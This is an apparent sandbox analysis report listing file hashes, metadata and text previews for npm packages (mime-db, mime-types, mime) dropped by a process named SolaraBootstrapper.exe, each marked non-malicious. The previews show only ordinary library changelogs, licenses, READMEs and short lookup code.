Preview:	1.52.0 / 2022-02-21.===================.. * Add extensions from IANA for more `image/` types. Add extension `.asc` to `application/pgp-keys`. * Add extensions to various XML types. * Add new upstream MIME types..1.51.0 / 2021-11-08.===================.. * Add new upstream MIME types. * Mark `image/vnd.microsoft.icon` as compressible. * Mark `image/vnd.ms-dds` as compressible..1.50.0 / 2021-09-15.===================.. * Add deprecated iWorks mime types and extensions. * Add new upstream MIME types..1.49.0 / 2021-07-26.===================.. * Add extension `.trig` to `application/trig`. * Add new upstream MIME types..1.48.0 / 2021-05-30.===================.. * Add extension `.mvt` to `application/vnd.mapbox-vector-tile`. * Add new upstream MIME types. * Mark `text/yaml` as compressible..1.47.0 / 2021-04-01.===================.. * Add new upstream MIME types. * Remove ambigious extensions from IANA for `application/+xml` types. Update primary extension to `.es` for

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime-db\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	5.19320181885572
Encrypted:	false
SSDEEP:	24:vXiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:vXiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	175B28B58359F8B4A969C9AB7C828445
SHA1:	DAE0F982FFE71762045FC77C015C83BDA38C1C9E
SHA-256:	CC1DFD4DAFA27271E8212CD3B274EEB3F262E40A6FDAB36DDC3F9696F706F58B
SHA-512:	D9083A273B29FE4DFB0F89675D8EBFE7181C015A73BA38BFA4749E7667835C8E40F11F4D807DBB6248A335D668303174D0162432AE274A81D6A26C5F63720185
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014 Jonathan Ong <me@jongleberry.com>.Copyright (c) 2015-2022 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime-db\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4091
Entropy (8bit):	4.9073909713926644
Encrypted:	false
SSDEEP:	96:fCUAY18/16TqbM8fPBA8u7CG2WG0TARZX:fCDY18/16+Y8BA8u7CG2W1TSZX
MD5:	15BED796DAB121B6C9168E4595F4F651
SHA1:	3264750890E9D8FCFBA36CE72433DFE52CA37034
SHA-256:	5CC863FD64953AFA39D206B510378B73E8C767C5FD124BB8D4017DB921C94855
SHA-512:	7BCB6B463D7BE20668CCB3F5A93C60B9B5A48A6264AB4E27094A8C25F2EE362995829326222CA593E7C169E1E19D6BA0AAA4A78A55C6C23046D9391A80A7A927
Malicious:	false
Preview:	# mime-db..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-image]][node-url].[![Build Status][ci-image]][ci-url].[![Coverage Status][coveralls-image]][coveralls-url]..This is a large database of mime types and information about them..It consists of a single, public JSON file and does not include any logic,.allowing it to remain as un-opinionated as possible with an API..It aggregates data from the following sources:..- http://www.iana.org/assignments/media-types/media-types.xhtml.- http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types.- http://hg.nginx.org/nginx/raw-file/default/conf/mime.types..## Installation..```bash.npm install mime-db.```..### Database Download..If you're crazy enough to use this in the browser, you can just grab the.JSON file using [jsDelivr](https://www.jsdelivr.com/). It is recommended to.replace `master` with [a release tag](https://github.com/jshttp/mime-db/tags).as the JS

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime-db\db.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	185882
Entropy (8bit):	4.5222871698549705
Encrypted:	false
SSDEEP:	1536:WzZZ2YysmG8mlJo8mIp1hIK58RxoF5BD2yFAu7u8JJzoyn8B7Q/zaipLL1HSQtBK:qJN8RxoF5BD2y5Oy6eE
MD5:	052E457B88D815C1792E1F8CE8509FC3
SHA1:	341AF5A9607A11AE8A5845C2E36BC03B137EA684
SHA-256:	85C8E1BA609079947C8DF83C092900AB0226E1D7B60E5E7105FB7DD701833263
SHA-512:	4C629A1A452331A5568CB1BE6AA00EED31AE88EA8F4751C553A225DD4B3A0C32EFF30AB6DBDA44012FAFB0946E25AD11A91E6971424771D26920B26844093ADE
Malicious:	false
Preview:	{. "application/1d-interleaved-parityfec": {. "source": "iana". },. "application/3gpdash-qoe-report+xml": {. "source": "iana",. "charset": "UTF-8",. "compressible": true. },. "application/3gpp-ims+xml": {. "source": "iana",. "compressible": true. },. "application/3gpphal+json": {. "source": "iana",. "compressible": true. },. "application/3gpphalforms+json": {. "source": "iana",. "compressible": true. },. "application/a2l": {. "source": "iana". },. "application/ace+cbor": {. "source": "iana". },. "application/activemessage": {. "source": "iana". },. "application/activity+json": {. "source": "iana",. "compressible": true. },. "application/alto-costmap+json": {. "source": "iana",. "compressible": true. },. "application/alto-costmapfilter+json": {. "source": "iana",. "compressible": true. },. "application/alto-directory+json": {. "source": "iana",. "compressible": true. },. "application/alto-endpointcos

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime-db\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	189
Entropy (8bit):	5.005582537948525
Encrypted:	false
SSDEEP:	3:US9xIA8HvF99VmDDvUriFqI1cOmDDvmlc6WF3yFhWKZSsDp5cNtPFugAMzBbJw8u:Us89p+UeF3+mlcCFvZSQp6PbAuBg
MD5:	911D3D2AE7BE42B05BA9275ED7722859
SHA1:	F265D2B6A93EBABA408D00215A2BBA98158363AB
SHA-256:	2CCEBF3D525708C915C6A86FFBB68E5023D34C9BC30B6B4021DB9EBBC6CA9ECC
SHA-512:	828A467310483CC1BD852C555C9651E63CA05219B6F438C7FEED53C998A58FE7F00E3A011CF8C5C6760E5EB81F0755899838E7248707B416DA7CF31A818E58B3
Malicious:	false
Preview:	/!. mime-db. * Copyright(c) 2014 Jonathan Ong. * Copyright(c) 2015-2022 Douglas Christopher Wilson. * MIT Licensed. /../. Module exports.. */..module.exports = require('./db.json').

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime-db\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1624
Entropy (8bit):	4.833123617199433
Encrypted:	false
SSDEEP:	48:OUVbVWbtSvNI4oSuNWHRI5xGvDOXTo0MG03:1lcpe78bGvDOXTo0MZ3
MD5:	12C5CD5CFA1D4F45AF207DB1715D4B70
SHA1:	192A69685A32F1CCC5DF8A54EA0F117C48BD87F1
SHA-256:	D03E37B915A050AF548D543F4E45FF5DE06EC767C19E745F18C431D9DC26B5BF
SHA-512:	9344C3DF2A8B5D3ABF4F1A7BE8A7A3B885445D1355B294C69F855185BC1556F179AB4E2D8657B5CCC558494A382DB37DF57DFABB83574604C22F8DE5F7233808
Malicious:	false
Preview:	{. "name": "mime-db",. "description": "Media Type Database",. "version": "1.52.0",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)",. "Robert Kieffer <robert@broofa.com> (http://github.com/broofa)". ],. "license": "MIT",. "keywords": [. "mime",. "db",. "type",. "types",. "database",. "charset",. "charsets". ],. "repository": "jshttp/mime-db",. "devDependencies": {. "bluebird": "3.7.2",. "co": "4.6.0",. "cogent": "1.0.1",. "csv-parse": "4.16.3",. "eslint": "7.32.0",. "eslint-config-standard": "15.0.1",. "eslint-plugin-import": "2.25.4",. "eslint-plugin-markdown": "2.2.1",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "5.1.1",. "eslint-plugin-standard": "4.1.0",. "gnode": "0.1.2",. "media-typer": "1.1.0",. "mocha": "9.2.1",. "nyc": "15.1.0",. "raw-body": "2.5.0",. "stream-to-array": "2.3.0". },. "

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime-types\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8812
Entropy (8bit):	4.796740600515603
Encrypted:	false
SSDEEP:	48:bFCF1A9RZAlC/CPVaiMC7J18RtYD2Z5iFjZuoLC455CrQ+fQfAKC9vlhY3LTgxOA:M0PadLksYxafKu4sKL0MwXtA
MD5:	3B127A94F2041A03DE29B24E7B927E26
SHA1:	7067CD942E355ECCDC41698AC10C282286F7631F
SHA-256:	277B1CFC3E8FDB57E8B3FC9EBDEF37D108AC13572B60091CCCAF0E863167ADC0
SHA-512:	B93983757D131D5F583F14F320FD7958FEEF3E44C3466D340E5D96B04D4A6BE8123FDD0CCA035CED36D501C18A1EC5D15195643454F41CA4E011743C92F4ED84
Malicious:	false
Preview:	2.1.35 / 2022-03-12.===================.. * deps: mime-db@1.52.0. - Add extensions from IANA for more `image/` types. - Add extension `.asc` to `application/pgp-keys`. - Add extensions to various XML types. - Add new upstream MIME types..2.1.34 / 2021-11-08.===================.. deps: mime-db@1.51.0. - Add new upstream MIME types..2.1.33 / 2021-10-01.===================.. * deps: mime-db@1.50.0. - Add deprecated iWorks mime types and extensions. - Add new upstream MIME types..2.1.32 / 2021-07-27.===================.. * deps: mime-db@1.49.0. - Add extension `.trig` to `application/trig`. - Add new upstream MIME types..2.1.31 / 2021-06-01.===================.. * deps: mime-db@1.48.0. - Add extension `.mvt` to `application/vnd.mapbox-vector-tile`. - Add new upstream MIME types..2.1.30 / 2021-04-02.===================.. * deps: mime-db@1.47.0. - Add extension `.amr` to `audio/amr`. - Remove ambigious extensions from IANA for `application/*+xm

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime-types\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1167
Entropy (8bit):	5.176199836532222
Encrypted:	false
SSDEEP:	24:voiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:voiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	BF1F9AD1E2E1D507AEF4883FFF7103DE
SHA1:	F027AF3E61AF3880FD7F7B8BA9452A85DD215738
SHA-256:	71F83C4C0621102A56D9853812777B85751BCE7E9726F686F5B056C1F8A4B0E6
SHA-512:	A1A293EB0097FE87875F3BF908CC0B0EE8F15E995C68E984B6A24E247B2E954407D7941EA96ABD7FE002A1BDFB713FDFB0D3839D948A334603F05E644829F606
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014 Jonathan Ong <me@jongleberry.com>.Copyright (c) 2015 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime-types\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3481
Entropy (8bit):	5.0358475679922154
Encrypted:	false
SSDEEP:	48:KdC9vR5GpTfO6ezUuTdXMoNjhSBJzU2cWGi/FRJNKbkbAMG4GMGq1GqLRxzZf5Ja:eCEezUC15+zlzFRXK+BXLN1NFxZ2
MD5:	DF3AEB2C1CB5F39D454082EADD3F2A5F
SHA1:	E0593D2FBB7AF84598E75F65106685F8988A55D8
SHA-256:	19E8EACA7DC91F7AD8E46114CE1689E4976368435F41A0039F48AAF27E5E6A20
SHA-512:	93A470FC59AAA55177BD3FD2B067632BDC64A3254B359047CE8C278FEB15340EF552A6FCDD178FCD1026B161C693F4C84B426763A8881DCF02E74E1345C63940
Malicious:	false
Preview:	# mime-types..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][ci-image]][ci-url].[![Test Coverage][coveralls-image]][coveralls-url]..The ultimate javascript content-type utility...Similar to [the `mime@1.x` module](https://www.npmjs.com/package/mime), except:..- __No fallbacks.__ Instead of naively returning the first available type,. `mime-types` simply returns `false`, so do. `var type = mime.lookup('unrecognized') \|\| 'application/octet-stream'`..- No `new Mime()` business, so you could do `var lookup = require('mime-types').lookup`..- No `.define()` functionality.- Bug fixes for `.lookup(path)`..Otherwise, the API is compatible with `mime` 1.x...## Install..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime-types\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3663
Entropy (8bit):	4.916300236559853
Encrypted:	false
SSDEEP:	96:whxEETkpRu3QqZti4/QyLS28/ldXDhDhsrG64ZyNUq2BRnY3g7Gxo:wh+0q4VLvITzhDhsS64oNUq2BRY3gYo
MD5:	BF015BB6811AFC5C98E3E5F7072FDC79
SHA1:	8D1F07AE6192C4DD6BC08A9247A91AF4A0A51ECA
SHA-256:	8CFCCAAC306BEB650D60C7F069AE0F4B39D648F1E3914696B18C133AB33E6419
SHA-512:	C2489DE379EFA61D68CEA7F1D4CE40593A48A86F62C8BE1DA099A4462DF0705C324CE2260B1998E9BDE494D2A8158C60D7517BE8448D27252379D675D99AE1BE
Malicious:	false
Preview:	/!. mime-types. * Copyright(c) 2014 Jonathan Ong. * Copyright(c) 2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var db = require('mime-db').var extname = require('path').extname../. Module variables.. * @private. /..var EXTRACT_TYPE_REGEXP = /^\s([^;\s])(?:;\|\s\|$)/.var TEXT_TYPE_REGEXP = /^text\//i../. Module exports.. * @public. /..exports.charset = charset.exports.charsets = { lookup: charset }.exports.contentType = contentType.exports.extension = extension.exports.extensions = Object.create(null).exports.lookup = lookup.exports.types = Object.create(null)..// Populate the extensions/types maps.populateMaps(exports.extensions, exports.types)../. Get the default charset for a MIME type.. . @param {string} type. * @return {boolean\|string}. */..function charset (type) {. if (!type \|\| typeof type !== 'string') {. return false. }.. // TODO: use media-typer. var match = EXTRACT_TYPE_REGEXP.exec(ty

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime-types\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1149
Entropy (8bit):	4.834567403731111
Encrypted:	false
SSDEEP:	24:VVi1MxVzHbeEbenpLYAYuNCHRIZBlWSKByLt:VgCVvvbeCAYuNCHRIzUScy5
MD5:	7AD9A6119E3173EA667F1409FEFBA992
SHA1:	EE2C9EAE301358BF7D646B5B7EDE6C28FED4BF96
SHA-256:	5053CC10259C3913AB6B6C8F13170A619C0D1836C1D9081238329A559FAFEB3A
SHA-512:	E6B5A339B07D126BA1CB1F5DF3BE7CA36C7DC25E3F05B4A4CACA096132528E05D55200B41AE3D332B4B8F0A40ECADFFD90902167D8DD012990D800E5B1492443
Malicious:	false
Preview:	{. "name": "mime-types",. "description": "The ultimate javascript content-type utility.",. "version": "2.1.35",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Jeremiah Senkpiel <fishrock123@rocketmail.com> (https://searchbeam.jit.su)",. "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)". ],. "license": "MIT",. "keywords": [. "mime",. "types". ],. "repository": "jshttp/mime-types",. "dependencies": {. "mime-db": "1.52.0". },. "devDependencies": {. "eslint": "7.32.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.25.4",. "eslint-plugin-markdown": "2.2.1",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "5.2.0",. "eslint-plugin-standard": "4.1.0",. "mocha": "9.2.2",. "nyc": "15.1.0". },. "files": [. "HISTORY.md",. "LICENSE",. "index.js". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "lint": "eslint .",. "test": "mocha --reporter spe

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\CHANGELOG.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	9473
Entropy (8bit):	5.151977506431236
Encrypted:	false
SSDEEP:	192:E78+V+LIIkamc73hF6k2ANjeKTLSSN14AbCecNjWjW3itNdeFFbHuTueUvu6WmzI:E4+IbT9FPJcJhS
MD5:	90BAAC6A6F8D7E4A7DC0B15BB7A6CE65
SHA1:	FB1894068FF1A400DD64FD5E5B5006D7561D7534
SHA-256:	CB69AB3F4934B6970AABC64FDBCC37D8C53EE2E3010B00F37688CE017D212FF7
SHA-512:	EF65CBD677D92E9070973E7D26F52DD4F53C89A2EDAE2683BD1F2413AA37381F1F1DE84169CD3232E61E6DB725A3814CDF5BCE84632C58473D8A368739F734F9
Malicious:	false
Preview:	# Changelog..## v1.6.0 (24/11/2017).No changelog for this release...---..## v2.0.4 (24/11/2017).- [closed] Switch to mime-score module for resolving extension contention issues. [#182](https://github.com/broofa/node-mime/issues/182).- [closed] Update mime-db to 1.31.0 in v1.x branch [#181](https://github.com/broofa/node-mime/issues/181)..---..## v1.5.0 (22/11/2017).- [closed] need ES5 version ready in npm package [#179](https://github.com/broofa/node-mime/issues/179).- [closed] mime-db no trace of iWork - pages / numbers / etc. [#178](https://github.com/broofa/node-mime/issues/178).- [closed] How it works in brownser ? [#176](https://github.com/broofa/node-mime/issues/176).- [closed] Missing `./Mime` [#175](https://github.com/broofa/node-mime/issues/175).- [closed] Vulnerable Regular Expression [#167](https://github.com/broofa/node-mime/issues/167)..---..## v2.0.3 (25/09/2017).No changelog for this release...---..## v1.4.1 (25/09/2017).- [closed] Iss

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	5.1030320946441305
Encrypted:	false
SSDEEP:	24:b1zDrmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:b1zDaJHlxE35QHOs5exm3ogF5n
MD5:	8E8EA2AD138CE468F8570A0EDBADEA65
SHA1:	2E84853FB5F2711901B6ECB4A0B8FE4D419348FD
SHA-256:	8F2658C03422C408B2B2CE4D151DECC3B1A6FD3D86E5CA9433777BCCDCDF75A2
SHA-512:	D1106F3BC64EFADDDD19B11D495F8755261097FED95AC046ED5721F14B453B92E6A191CC13AA10232E7A59DF6CFB744DBE9B854D8F0D25C49B50337F62B21985
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2010 Benjamin Thomas, Robert Kieffer..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARIS

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2119
Entropy (8bit):	4.81814235364155
Encrypted:	false
SSDEEP:	48:4HdLngOwDLGvk+G5fhGajRenb7COHaWvm8fq+b8eGv8iHWeFl9k9:4kCofhKZhfqFe7Yl9k9
MD5:	72CFB57E293629E482629AF74F4A92FD
SHA1:	ED339E905C074B2391760EBB46D624BFBC1860FB
SHA-256:	3D645CF326552BE680B89152865A5648E0DDAE647FFA02A325980A1CDBD774A5
SHA-512:	D25E58AFD95288DDA1CC99A70ED7A1E82B2CCFD99EC951F026D2FB6074F59DEFC65060B105E085ED5D7E57F2C222F6FD8043932C3EC6E2B8D7B44F918F7B2403
Malicious:	false
Preview:	# mime..Comprehensive MIME type mapping API based on mime-db module...## Install..Install with [npm](http://github.com/isaacs/npm):.. npm install mime..## Contributing / Testing.. npm run test..## Command Line.. mime [path_string]..E.g... > mime scripts/jquery.js. application/javascript..## API - Queries..### mime.lookup(path).Get the mime type associated with a file, if no mime type is found `application/octet-stream` is returned. Performs a case-insensitive lookup using the extension in `path` (the substring after the last '/' or '.'). E.g...```js.var mime = require('mime');..mime.lookup('/path/to/file.txt'); // => 'text/plain'.mime.lookup('file.txt'); // => 'text/plain'.mime.lookup('.TXT'); // => 'text/plain'.mime.lookup('htm'); // => 'text/html'.```..### mime.default_type.Sets the mime type returned when `mime.lookup` fails to find the extension searched for. (Default is `application/octet-stream`.)

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\cli.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	a /usr/bin/env node script, ASCII text executable
Category:	dropped
Size (bytes):	149
Entropy (8bit):	4.846208246866977
Encrypted:	false
SSDEEP:	3:TKQWaHMPM2jEiOmQUUpuPw8oVaXt1RcxyTOlaWBLgXM6fm3:HWaH64VmQXuP1oo91Rcw6laWB33
MD5:	D028184965062EF86CDCFE246753EF27
SHA1:	4D5F01B12FE3FC18E06D871CE00D0264643200FA
SHA-256:	F8691B2F01B77334E33BB6898D69C80DC05B18E4BE66760C476331A388F9CD27
SHA-512:	7A878AA6D727C3A1494563E6CE4D9BDC53FABB512DF78FEE9EB5E761DE3CA9F2DD67ABB546F532C04DF52CBC848292CDCD93405CCD53F1080A54A26BFBB9D3D3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/usr/bin/env node..var mime = require('./mime.js');.var file = process.argv[2];.var type = mime.lookup(file);..process.stdout.write(type + '\n');..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\mime.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2726
Entropy (8bit):	4.938495719166568
Encrypted:	false
SSDEEP:	48:NW2vpIdykPw//LTKAF1FzpLMuWATNzOfscy2GrlZGaNyDoZIrGv:bfk6LtHFBMuFJUy/XyDoZ+Gv
MD5:	2930E6CAAD95DFAD928D76FC1EB2E003
SHA1:	F3CCFF5BA27AF0B9D39CC5C2F228F5AE3E276D13
SHA-256:	A121A0B9E780E9AE349A26227A0D25C33EBAC2D52A85AAE5AFFA84BA0F53F16C
SHA-512:	64C54D3B09B0340F21F5FA359DACDC4DF5BB180CB5BDE6EFB4FC0106B50BB1F4D1301D20D79441D8A9861338F75C94ED3AF12DC44E3291A4EEB0886DC661D46A
Malicious:	false
Preview:	var path = require('path');.var fs = require('fs');..function Mime() {. // Map of extension -> mime type. this.types = Object.create(null);.. // Map of mime type -> extension. this.extensions = Object.create(null);.}../*. Define mimetype -> extension mappings. Each key is a mime-type that maps. * to an array of extensions associated with the type. The first extension is. * used as the default extension for the type.. . e.g. mime.define({'audio/ogg', ['oga', 'ogg', 'spx']});. . @param map (Object) type definitions. /.Mime.prototype.define = function (map) {. for (var type in map) {. var exts = map[type];. for (var i = 0; i < exts.length; i++) {. if (process.env.DEBUG_MIME && this.types[exts[i]]) {. console.warn((this._loading \|\| "define()").replace(/.\//, ''), 'changes "' + exts[i] + '" extension type from ' +. this.types[exts[i]] + ' to ' + type);. }.. this.types[exts[i]] = type;. }.. // Default extension is the first one we

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	933
Entropy (8bit):	4.564801621592961
Encrypted:	false
SSDEEP:	24:+RhWSZYq/d5ljbQxpJnH9Uw93CxV0Y4/CxKZdeMJfkR1f:+RsEYMb+nH9PxC96mONGjf
MD5:	624EF11F91E60B224942FF81B13D10C6
SHA1:	0779EA22AFE593A2EC0223D16E9CCB5D0E01E45F
SHA-256:	F6A871D6AB40D2F2945D626A4D75DA2FCE78A35737C0870A0A4DA9BEE43F9D4E
SHA-512:	74B2D8DBF9AD22E4857A37CA17082482AE2D90846DF3BD21D0C7525FB928899EEE5C89E6CBEDB609279B7A923FAE5E57BB97DDB807083AE72D0FDD4D0ACF1082
Malicious:	false
Preview:	{. "author": {. "name": "Robert Kieffer",. "url": "http://github.com/broofa",. "email": "robert@broofa.com". },. "bin": {. "mime": "cli.js". },. "engines": {. "node": ">=4". },. "contributors": [. {. "name": "Benjamin Thomas",. "url": "http://github.com/bentomas",. "email": "benjamin@benjaminthomas.org". }. ],. "description": "A comprehensive library for mime-type mapping",. "license": "MIT",. "dependencies": {},. "devDependencies": {. "github-release-notes": "0.13.1",. "mime-db": "1.31.0",. "mime-score": "1.1.0". },. "scripts": {. "prepare": "node src/build.js",. "changelog": "gren changelog --tags=all --generate --override",. "test": "node src/test.js". },. "keywords": [. "util",. "mime". ],. "main": "mime.js",. "name": "mime",. "repository": {. "url": "https://github.com/broofa/node-mime",. "type": "git". },. "version": "1.6.0".}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\src\build.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	a /usr/bin/env node script, ASCII text executable
Category:	dropped
Size (bytes):	1351
Entropy (8bit):	4.969465816534509
Encrypted:	false
SSDEEP:	24:yuTGzvvmbkOldw6E54g55DSxOn/zadOZfoie1p37IwBpy+yVu0iE3:Wzv2kOldwT4iz/zdZfor1OEs+j0iE3
MD5:	DAF164E6D251C818B190DB781F845776
SHA1:	F37722B22AD17B428B8B4B97B5C09720B4E86A9D
SHA-256:	FACAA3974BFA27C832A629735077528B59CBC088FCFD2C22BBACBA152C76EF2A
SHA-512:	9B9623DDD74F1117DA49DFDCEFD0AC5321419E8B3BC8608F4C6F00C11C74F857F1AF0337E7B877B7F0BFC033B4B0A6E4714A7D566960AA26C90BD4389ECB8C95
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/usr/bin/env node..'use strict';..const fs = require('fs');.const path = require('path');.const mimeScore = require('mime-score');..let db = require('mime-db');.let chalk = require('chalk');..const STANDARD_FACET_SCORE = 900;..const byExtension = {};..// Clear out any conflict extensions in mime-db.for (let type in db) {. let entry = db[type];. entry.type = type;.. if (!entry.extensions) continue;.. entry.extensions.forEach(ext => {. if (ext in byExtension) {. const e0 = entry;. const e1 = byExtension[ext];. e0.pri = mimeScore(e0.type, e0.source);. e1.pri = mimeScore(e1.type, e1.source);.. let drop = e0.pri < e1.pri ? e0 : e1;. let keep = e0.pri >= e1.pri ? e0 : e1;. drop.extensions = drop.extensions.filter(e => e !== ext);.. console.log(`${ext}: Keeping ${chalk.green(keep.type)} (${keep.pri}), dropping ${chalk.red(drop.type)} (${drop.pri})`);. }. byExtension[ext] = entry;. });.}..function writeTypesFile(types, path) {. fs.writeF

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\src\test.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2334
Entropy (8bit):	4.840924462459669
Encrypted:	false
SSDEEP:	48:+1sMXGGYGGGcG1rNu6Lu0OYx+lzhMBdHU:+mMWR95KCq3FU
MD5:	E79C602593F0F279E1CB2D8D4A3CE3BF
SHA1:	86D3D2BCF162F3C198AD8315C803FA7F4B928F07
SHA-256:	516EFE52B18B29B36B9AC4ED1D679A497E0846B269A9CF101FB405FBCC8B402B
